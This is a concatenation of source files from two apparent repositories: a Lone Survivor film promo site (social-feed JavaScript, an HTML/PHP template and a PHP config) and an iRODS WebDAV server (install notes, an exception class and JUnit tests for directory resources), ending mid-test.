"url":"https://twitter.com/nmorris76/status/366830877054996481"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000278174728/483bd90ffd798e8be6784feb958381b6_normal.jpeg" ,
"description":'Lone survivor is so good',
"screen_name":"kyle_sattler",
"url":"https://twitter.com/kyle_sattler/status/366795175718166528"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000223443708/b7b3b1f58cab3c982ab0af84c020f19d_normal.jpeg" ,
"description":'151 days until the lone survivor movie comes out <a href="http://twitter.com/MarcusLuttrell" target="_blank">@<b>MarcusLuttrell</b></a>',
"screen_name":"Whitesell003",
"url":"https://twitter.com/Whitesell003/status/366771829970440192"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/3039957017/45b3b8e4f0eca09b1e33a2a2d19d1ec4_normal.jpeg" ,
"description":'Lone Survivor movie coming. It's gonna be epic. True Heroes.',
"screen_name":"CopDog1",
"url":"https://twitter.com/CopDog1/status/366771828439527425"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000277653591/a2317679a25b2947f817e0683641121a_normal.jpeg" ,
"description":'I cannot wait to see "Lone Survivor". Watching the trailer makes me pumped!',
"screen_name":"Lo_Jo1",
"url":"https://twitter.com/Lo_Jo1/status/366760445970886656"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000278174728/483bd90ffd798e8be6784feb958381b6_normal.jpeg" ,
"description":'Lone survivor is going to be the sickest movie!!!!!',
"screen_name":"kyle_sattler",
"url":"https://twitter.com/kyle_sattler/status/366738429939163137"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/3254988721/2c849c808670ab2f148e126487af7b26_normal.jpeg" ,
"description":'I have to say I am so ready to watch The Lone Survivor!',
"screen_name":"HaydenRogers1",
"url":"https://twitter.com/HaydenRogers1/status/366727369026846720"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000283018073/6bb8e56d62b6bf7c25fc63162932dd81_normal.jpeg" ,
"description":'Omg I wanna see Lone Survivor !',
"screen_name":"ninaa4xo",
"url":"https://twitter.com/ninaa4xo/status/366724061188988929"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000135382330/8c805caaf355c02c95321ed668f61a65_normal.jpeg" ,
"description":'Lone survivor looks like such a good movie!',
"screen_name":"aschydzik",
"url":"https://twitter.com/aschydzik/status/366712996308860931"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000145444854/38674e1d61ee9f14b7d28289f33ded8b_normal.jpeg" ,
"description":'Lone Survivor looks like a good ass movie',
"screen_name":"sexyginger17",
"url":"https://twitter.com/sexyginger17/status/366711837250682880"
},
{ "profile_image_url":"https://si0.twimg.com/profile_images/378800000275415970/51dd75377eaf33aeb8294bb5a5a0ef6d_normal.jpeg" ,
"description":'<a href="http://twitter.com/search?q=%23LoneSurvivor&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>LoneSurvivor</b></a> looks absolutely amazing!!! <a href="http://twitter.com/search?q=%23cantwait&src=hash" data-query-source="hashtag_click" target="_blank" class="twitter-hashtag pretty-link js-nav" dir="ltr" >#<b>cantwait</b></a> <a href="http://t.co/61zLbnIGty" rel="nofollow" dir="ltr" data-expanded-url="http://trailers.apple.com/trailers/universal/lonesurvivor/" class="twitter-timeline-link" target="_blank" title="http://t.co/61zLbnIGty" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">http://t.co/61zLbnIGty</span><span class="tco-ellipsis"><span class="invisible"> </span></span></a>',
"screen_name":"sacsy918",
"url":"https://twitter.com/sacsy918/status/366707217249996802"
},
];
this.data.push({
id:"twitter",
feed:this.twitter_feed,
});
this.instagram = [
{ "profile_image_url":"http://distilleryimage0.ak.instagram.com/203fbe26fa2311e2b7ba22000aaa2161_7.jpg" ,
"description":'Based on true acts of #courage. Go to <a href="http://instagram.com/moviefone" target="_blank">@moviefone</a> for the exclusive #trailer of #LoneSurvivor. #movie <a href="http://instagram.com/pberg44" target="_blank">@pberg44</a> #markwahlberg',
"screen_name":"lonesurvivorfilm",
"url":"http://instagram.com/p/cccWx9uPX8"
},
];
this.data.push({
id:"instagram",
feed:this.instagram,
});
}
Social.prototype.build = function () {
console.log("Social build")
for (var i=0;i<this.data.length;i++)
{
console.log("Social build for " + this.data[i].id)
$(".socialcontent-wrapper."+this.data[i].id).append('<div id="'+this.data[i].id+'_social_holder"></div>');
$("#"+this.data[i].id+"_social_holder").css({
"float":"left",
"width":"330px",
"overflow":"hidden"
});
for (var j=0;j<this.data[i].feed.length;j++)
{
$("#"+this.data[i].id+"_social_holder").append('<div id="'+this.data[i].id+'_feed_'+j+'"></div>');
$("#"+this.data[i].id+"_feed_"+j).css({
"border-bottom":"1px solid #333",
"padding":"0px 10px 10px 10px",
"min-height":"70px",
"margin":"0px 0px 10px 10px"
});
$("#"+this.data[i].id+"_feed_"+j).append('<div class="feed_img"><a href="'+this.data[i].feed[j].url+'" target="_blank"><img src="'+this.data[i].feed[j].profile_image_url+'" /></a></div>');
$("#"+this.data[i].id+"_feed_"+j).append('<div id="'+this.data[i].id+'_feed_desc_'+j+'"></div>');
$("#"+this.data[i].id+"_feed_desc_"+j).css({
"min-height":"60px"
});
var at_sign = "";
if(this.data[i].id != "facebook") at_sign = "@";
$("#"+this.data[i].id+"_feed_desc_"+j).append('<div class="feed_screen_name"><a href="'+this.data[i].feed[j].url+'" target="_blank">'+at_sign+this.data[i].feed[j].screen_name+'</a></div><br/><div class="feed_desc">'+this.data[i].feed[j].description+'');
$(".feed_img").css({
"float":"left",
"height":"100%",
"min-height":"80px",
"margin":"0px 10px 10px 0px"
});
$(".feed_img img").css({
"width":"100%",
"height":"auto"
});
$(".feed_screen_name").css({
"font-size":"14px",
"margin":"5px 10px 0px 0px"
});
$(".feed_desc").css({
"color":"#FFF",
"font-size":"12px"
});
}
console.log("this.data[screen_name] = "+this.data[i].feed[0]["screen_name"])
}
}
<file_sep> <div class="ui-fixed hide">
<div class="content">
<div class="right">
<div id="logo">
<h1 id="site-title" class="ir">Lone Survivor</h1>
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="release-date" data-source="assets/img/nav/release-date.png" />
</div>
<!--
<div id="showtimes-wrapper">
<div id="showtimes">
<span class="tickets-text">TICKETS & SHOWTIMES:</span>
<input type="text" id="zip" placeholder="Enter ZIP" pattern="\d*" />
<a href="http://www.fandango.com/lonesurvivor_165416/movietimes" target="_blank" class="fandango">FANDANGO</a>
<a href="http://www.movietickets.com/movie?mid=161135" target="_blank" class="movietickets">MOVIETICKETS</a>
</div>
</div>
-->
<div id="nav-wrapper">
<div id="nav">
<a id="nav_story" href="story">STORY</a>
<a id="nav_videos">VIDEOS</a>
<a id="nav_gallery">GALLERY</a>
<a id="nav_prodnotes">PRODUCTION NOTES</a>
<a id="nav_support" href="charity">SUPPORT OUR HEROES</a>
</div>
</div>
<a id="flag_link" target="_blank" href="http://www.honorflight.org/programs/flags.cfm"> FLAG OF<br />SERVICE</a>
</div>
<div class="left">
<div class="indicator">
<div class="slider">
<div class="white_box"></div>
<div class="boxes">
<table>
<tr class="indicator_box" data-index="0"><td> </td></tr>
<tr class="indicator_box" data-index="1"><td> </td></tr>
<tr class="indicator_box" data-index="2"><td> </td></tr>
<tr class="indicator_box" data-index="3"><td> </td></tr>
<tr class="indicator_box" data-index="4"><td> </td></tr>
<tr class="indicator_box" data-index="5"><td> </td></tr>
</table>
</div>
</div>
</div>
<div class="social-wrapper">
<div class="social_feeds">
<span class="socialbutton facebook">FACEBOOK<span></span></span>
<span class="socialbutton twitter">TWITTER<span></span></span>
<span class="socialbutton instagram">INSTAGRAM<span></span></span>
<div class="socialcontent scroll-pane">
<div class="socialcontent-wrapper facebook"></div>
<div class="socialcontent-wrapper twitter"></div>
<div class="socialcontent-wrapper instagram"></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="gallery hide">
<?php echo $gallery_photos; ?>
<img class="arrow left" onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/gallery/arrow_left.png">
<img class="arrow right" onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/gallery/arrow_right.png">
<img class="close" onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/gallery/close.png">
<div class="thumbs">
<div class="thumbarrow_box left"><img class="thumbarrow" onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/gallery/arrow_left.png"></div>
<div class="thumbarrow_box right"><img class="thumbarrow" onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/gallery/arrow_right.png"></div>
<div class="thumb-pages"></div>
</div>
</div>
<div class="video_playlist hide">
<iframe src="" frameborder="0" allowfullscreen></iframe>
<img class="close" onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="quote-top-img" data-source="assets/img/gallery/close.png">
</div>
<div class="wrapper head hide">
<div class="content">
<div class="left">
<div class="fb-like" data-href="https://developers.facebook.com/docs/plugins/" data-width="457" data-height="31" data-colorscheme="dark" data-layout="standard" data-action="like" data-show-faces="false" data-send="true"></div>
</div>
<div class="right">
<span id="hashtag">#LONESURVIVOR</span>
<a href="https://www.facebook.com/lonesurvivorfilm" target="_blank" id="facebook-btn" class="share-btn"></a>
<a href="https://twitter.com/LoneSurvivorUSA" id="twitter-btn" target="_blank" class="share-btn"></a>
<a href="https://plus.google.com/+LoneSurvivorFilm/posts" id="google-btn" target="_blank" class="share-btn"></a>
<a href="http://lonesurvivorfilm.tumblr.com/" id="tumblr-btn" target="_blank" class="share-btn"></a>
<a href="http://instagram.com/LoneSurvivorFilm" id="instagram-btn" target="_blank" class="share-btn"></a>
<a href="http://www.youtube.com/LoneSurvivorFilm" id="youtube-btn" target="_blank" class="share-btn share-btn-last"></a>
<a class="audio-control"></a>
</div>
</div>
</div>
<div class="wrapper foot hide">
<div class="content">
<div class="left">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" data-source="assets/img/nav/universal-logo.png" />
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="eff_logo" data-source="assets/img/nav/eff-logo.png" />
<div>
<a href="http://www.universalpictures.com/legal/privacy.html" target="_blank">PRIVACY POLICY</a> |
<a href="http://www.universalpictures.com/legal/index.html" target="_blank">TERMS OF USE</a> |
<a href="http://www.universalstudios.com/contact_form.php" target="_blank">CONTACT US</a><br/>
© 2013 UNIVERSAL PICTURES, A DIVISION OF NBC UNIVERSAL. ALL RIGHTS RESERVED.
</div>
</div>
<div class="right">
<img onload="$(this).data('loaded', 'loaded');" onerror="$(this).data('loaded', 'loaded');" class="rating" data-source="assets/img/nav/rating.png" />
<div>
<a href="http://filmratings.com/" target="_blank">FILMRATINGS.COM</a> |
<a href="http://mpaa.org/" target="_blank">MPAA.ORG</a>
</div>
</div>
</div>
</div>
<div class="portrait_detected hide">
</div>
<div id="status"></div>
<div class="main_preloads hide">
<?php echo $gallery_thumbs; ?>
</div>
<?php
$CI =& get_instance();
$CI->_js_includes("footer");
?>
<script type="text/javascript">
if (window.ga_account!=""){
var _gaq = _gaq || [];
_gaq.push(['_setAccount', window.ga_account]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
}
</script>
</body>
</html>
<file_sep><?php if ( ! defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
/* Copyright 2013 Hammer Technology Services, Inc. */
// wheter to minify js/css or not
$config[ 'minify_js' ] = false;
$config[ 'minify_css' ] = false;
$config[ 'less_route_replacement' ] = "assets";
$config[ 'minify_css_base_folder' ] = "less";
$config[ 'minify_js_base_folder' ] = "assets";
// set to true to combine minified files (in a single <script> or <link> element)
// this makes sense only if minification is on
// if set to false, then this parameter will not be taken into account, and css/js files will not be combined
$config[ 'combine_js' ] = false;
$config[ 'combine_css' ] = false;
| 4b614364eb4d630a6399b9bfae7d29e3160beb54 | [
"JavaScript",
"PHP"
] | 39 | PHP | hammerlabs/universal-lonesurvivor-epk | 50364155d6ff4c53e1e8a139d6364ab6032d75e9 | 70e2c213f213042df748af11918dd3069205ecc8 |
refs/heads/master | <repo_name>DICE-UNC/irods-webdav<file_sep>/INSTALL.md
# Install notes
RENCI and DFC have arranged to OEM the milton 'enterprise' libraries as part of iRODS WebDav support, providing full WebDav 2
capability, free for you to deploy and use with your iRODS grid. Therefore, we have developed a drop-in .war file that contains
all of the necessary compiled code and keys, and exported the configuration to /etc/irods-ext/irods-webdav.properties.
Install is thus rather straight forward:
* Install the release .war file on your container (e.g. Tomcat)
* Copy the irods-webdav.properties to /etc/irods-ext and make it readable by the tomcat or other container service user
* Configure irods-webdav.properties to your particular grid. Note that WebDav uses a preset host/port/zone and translates the Basic Authentication credentials of the user to set the logged in account
Note that WebDav needs to be at a root url (e.g. http://mywebdav.org versus http://mywebdav.org/somecontext) at port 80, or with https:// on the standard port. If it is not thus configured, certain
clients may not properly connect (such as Mac Finder or Windows Explorer).
See the [compatability notes](http://milton.io/guide/compat/index.html) at Milton for tips
The iRODS Consortium did a nice blog post on installing and configuring that can be accessed [here](http://irods.org/2015/04/how-to-drag-and-drop-access-to-irods-with-webdav/)
<file_sep>/src/main/java/org/irods/jargon/webdav/exception/FileSizeExceedsMaximumException.java
package org.irods.jargon.webdav.exception;
import org.irods.jargon.core.exception.JargonRuntimeException;
/**
* File size exceeds a configured maximum
*
* @author <NAME> - DICE
*
*/
public class FileSizeExceedsMaximumException extends JargonRuntimeException {
private static final long serialVersionUID = 124144366850943280L;
public FileSizeExceedsMaximumException(final String message) {
super(message);
}
}
<file_sep>/src/test/java/org/irods/jargon/webdav/resource/IrodsDirectoryResourceTest.java
package org.irods.jargon.webdav.resource;
import java.io.File;
import java.io.FileInputStream;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import org.irods.jargon.core.connection.IRODSAccount;
import org.irods.jargon.core.pub.IRODSFileSystem;
import org.irods.jargon.core.pub.io.IRODSFile;
import org.irods.jargon.core.utils.MiscIRODSUtils;
import org.irods.jargon.testutils.IRODSTestSetupUtilities;
import org.irods.jargon.testutils.TestingPropertiesHelper;
import org.irods.jargon.testutils.filemanip.ScratchFileUtils;
import org.irods.jargon.webdav.authfilter.IrodsAuthService;
import org.irods.jargon.webdav.config.DefaultStartingLocationEnum;
import org.irods.jargon.webdav.config.WebDavConfig;
import org.irods.jargon.webdav.unittest.TestCacheMx;
import org.junit.AfterClass;
import org.junit.Assert;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import org.mockito.Mockito;
import io.milton.http.LockManager;
import io.milton.principal.Principal;
import io.milton.resource.AccessControlledResource.Priviledge;
import io.milton.resource.Resource;
public class IrodsDirectoryResourceTest {
private static Properties testingProperties = new Properties();
private static TestingPropertiesHelper testingPropertiesHelper = new TestingPropertiesHelper();
private static ScratchFileUtils scratchFileUtils = null;
public static final String IRODS_TEST_SUBDIR_PATH = "IrodsDirectoryResourceTest";
private static IRODSTestSetupUtilities irodsTestSetupUtilities = null;
private static IRODSFileSystem irodsFileSystem;
@BeforeClass
public static void setUpBeforeClass() throws Exception {
TestingPropertiesHelper testingPropertiesLoader = new TestingPropertiesHelper();
testingProperties = testingPropertiesLoader.getTestProperties();
scratchFileUtils = new ScratchFileUtils(testingProperties);
scratchFileUtils.clearAndReinitializeScratchDirectory(IRODS_TEST_SUBDIR_PATH);
irodsTestSetupUtilities = new IRODSTestSetupUtilities();
irodsTestSetupUtilities.initializeIrodsScratchDirectory();
irodsTestSetupUtilities.initializeDirectoryForTest(IRODS_TEST_SUBDIR_PATH);
irodsFileSystem = IRODSFileSystem.instance();
}
@AfterClass
public static void tearDownAfterClass() throws Exception {
irodsFileSystem.closeAndEatExceptions();
}
@Before
public void before() {
TestCacheMx.clearCache();
}
@Test
public void testCreateCollection() throws Exception {
String testTargetColl = "testCreateCollection";
String rootColl = testingPropertiesHelper.buildIRODSCollectionAbsolutePathFromTestProperties(testingProperties,
IRODS_TEST_SUBDIR_PATH);
String targetIrodsColl = testingPropertiesHelper.buildIRODSCollectionAbsolutePathFromTestProperties(
testingProperties, IRODS_TEST_SUBDIR_PATH + '/' + testTargetColl);
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile rootCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile(rootColl);
IRODSFile targetCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(targetIrodsColl);
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
IrodsFileContentService service = Mockito.mock(IrodsFileContentService.class);
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, rootCollection, service);
resource.createCollection(testTargetColl);
Assert.assertTrue("did not create subcoll", targetCollection.exists());
}
@Test
public void testGetChild() throws Exception {
String testTargetColl = "testGetChild";
String rootColl = testingPropertiesHelper.buildIRODSCollectionAbsolutePathFromTestProperties(testingProperties,
IRODS_TEST_SUBDIR_PATH);
String targetIrodsColl = testingPropertiesHelper.buildIRODSCollectionAbsolutePathFromTestProperties(
testingProperties, IRODS_TEST_SUBDIR_PATH + '/' + testTargetColl);
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile rootCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile(rootColl);
IRODSFile targetCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(targetIrodsColl);
targetCollection.mkdirs();
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
IrodsFileContentService service = Mockito.mock(IrodsFileContentService.class);
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, rootCollection, service);
Resource child = resource.child(testTargetColl);
Assert.assertEquals("did not find target col", testTargetColl, child.getName());
}
@Test
public void testGetChildrenViaFile() throws Exception {
String testTargetColl = "testGetChildrenViaFile";
int count = 3;
String targetIrodsColl = testingPropertiesHelper.buildIRODSCollectionAbsolutePathFromTestProperties(
testingProperties, IRODS_TEST_SUBDIR_PATH + '/' + testTargetColl);
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile targetCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(targetIrodsColl);
targetCollection.mkdirs();
String myTarget = "";
IRODSFile irodsFile;
for (int i = 0; i < count; i++) {
myTarget = targetIrodsColl + "/f" + (10000 + i) + ".txt";
irodsFile = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile(myTarget);
irodsFile.createNewFile();
}
for (int i = 0; i < count; i++) {
myTarget = targetIrodsColl + "/c" + (10000 + i);
irodsFile = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile(myTarget);
irodsFile.mkdirs();
}
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
config.setCacheFileDemographics(false);
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
IrodsFileContentService service = Mockito.mock(IrodsFileContentService.class);
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, targetCollection, service);
List<? extends Resource> actual = resource.getChildren();
Assert.assertFalse("no children returned", actual.isEmpty());
}
@Test
public void testGetChildrenWithCacheUnderRoot() throws Exception {
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile targetCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile("/");
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
config.setCacheFileDemographics(true);
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsFileContentService service = Mockito.mock(IrodsFileContentService.class);
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, targetCollection, service);
List<? extends Resource> actual = resource.getChildren();
Assert.assertFalse("no children returned", actual.isEmpty());
}
@Test
public void testGetChildrenWithCache() throws Exception {
String testTargetColl = "testGetChildrenWithCache";
int count = 3;
String targetIrodsColl = testingPropertiesHelper.buildIRODSCollectionAbsolutePathFromTestProperties(
testingProperties, IRODS_TEST_SUBDIR_PATH + '/' + testTargetColl);
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile targetCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount)
.instanceIRODSFile(targetIrodsColl);
targetCollection.mkdirs();
String myTarget = "";
IRODSFile irodsFile;
for (int i = 0; i < count; i++) {
myTarget = targetIrodsColl + "/f" + (10000 + i) + ".txt";
irodsFile = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile(myTarget);
irodsFile.createNewFile();
}
for (int i = 0; i < count; i++) {
myTarget = targetIrodsColl + "/c" + (10000 + i);
irodsFile = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile(myTarget);
irodsFile.mkdirs();
}
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
config.setCacheFileDemographics(true);
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsFileContentService service = Mockito.mock(IrodsFileContentService.class);
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, targetCollection, service);
List<? extends Resource> actual = resource.getChildren();
Assert.assertFalse("no children returned", actual.isEmpty());
}
@Test
public void testCreateNewNormalStream() throws Exception {
String testFileName = "testCreateNewNormalStream.txt";
String rootColl = testingPropertiesHelper.buildIRODSCollectionAbsolutePathFromTestProperties(testingProperties,
IRODS_TEST_SUBDIR_PATH);
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile rootCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile(rootColl);
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
config.setUsePackingStreams(false);
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
IrodsFileContentService service = new IrodsFileContentService();
service.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
service.setWebDavConfig(config);
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, rootCollection, service);
long fileLength = 100L;
String absPath = scratchFileUtils.createAndReturnAbsoluteScratchPath(IRODS_TEST_SUBDIR_PATH);
String localFilePath = org.irods.jargon.testutils.filemanip.FileGenerator
.generateFileOfFixedLengthGivenName(absPath, testFileName, fileLength);
File localFile = new File(localFilePath);
FileInputStream fileInputStream = new FileInputStream(localFile);
resource.createNew(testFileName, fileInputStream, fileLength, "text/html");
}
@Test
public void testCreateNewPackingStream() throws Exception {
String testFileName = "testCreateNewPackingStream.txt";
String rootColl = testingPropertiesHelper.buildIRODSCollectionAbsolutePathFromTestProperties(testingProperties,
IRODS_TEST_SUBDIR_PATH);
IRODSAccount irodsAccount = testingPropertiesHelper.buildIRODSAccountFromTestProperties(testingProperties);
IRODSFile rootCollection = irodsFileSystem.getIRODSFileFactory(irodsAccount).instanceIRODSFile(rootColl);
IrodsSecurityManager manager = new IrodsSecurityManager();
manager.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
WebDavConfig config = new WebDavConfig();
config.setAuthScheme("STANDARD");
config.setHost(irodsAccount.getHost());
config.setPort(irodsAccount.getPort());
config.setZone(irodsAccount.getZone());
config.setUsePackingStreams(true);
manager.setWebDavConfig(config);
IrodsAuthService authService = new IrodsAuthService();
authService.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
authService.setWebDavConfig(config);
manager.setIrodsAuthService(authService);
IrodsFileSystemResourceFactory factory = new IrodsFileSystemResourceFactory(manager);
LockManager lockManager = Mockito.mock(LockManager.class);
factory.setLockManager(lockManager);
factory.setWebDavConfig(config);
IrodsFileContentService service = new IrodsFileContentService();
service.setIrodsAccessObjectFactory(irodsFileSystem.getIRODSAccessObjectFactory());
service.setWebDavConfig(config);
authService.authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
factory.getSecurityManager().authenticate(irodsAccount.getUserName(), irodsAccount.getPassword());
IrodsDirectoryResource resource = new IrodsDirectoryResource("host", factory, rootCollection, service);
long fileLength = 100L;
String absPath = scratchFileUtils.createAndReturnAbsoluteScratchPath(IRODS_TEST_SUBDIR_PATH);
String localFilePath = org.irods.jargon.testutils.filemanip.FileGenerator
.generateFileOfFixedLengthGivenName(absPath, testFileName, fileLength);
File localFile = new File(localFilePath);
FileInputStream fileInputStream = new FileInputStream(localFile);
resource.createNew(testFileName, fileInputStream, fileLength, "text/html");
}
@Test
public void testGetAccessControlList() throws Exception {
String testFileName = "testGetAccessControlList";
